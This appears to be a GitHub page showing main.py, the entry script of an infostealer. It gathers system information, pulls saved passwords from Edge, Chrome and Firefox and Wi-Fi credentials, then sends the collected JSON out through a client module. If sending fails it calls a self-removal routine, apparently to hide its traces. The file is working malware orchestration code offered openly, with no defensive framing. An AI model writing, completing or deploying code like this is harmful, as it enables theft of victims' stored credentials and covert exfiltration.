-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
50 lines (36 loc) · 817 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import json
import Client as client
import System as system
import Chrome as chrome
import Firefox as firefox
import Wifi as wifi
import Edge as edge
import Document as doc
def dataCollect():
doc.runTask()
try:
begining = system.info()
set = begining.get("data")
try:
edge.get_password(set)
except:
print("No edge")
try:
chrome.password(set)
except:
print("No Chrome")
try:
firefox.password(set)
except:
print("No Firefox")
try:
wifi.password(set)
except:
print("No wifi")
except:
begining = {}
return begining
try:
client.sendData(json.dumps(dataCollect(), indent=4))
except:
doc.removeitself()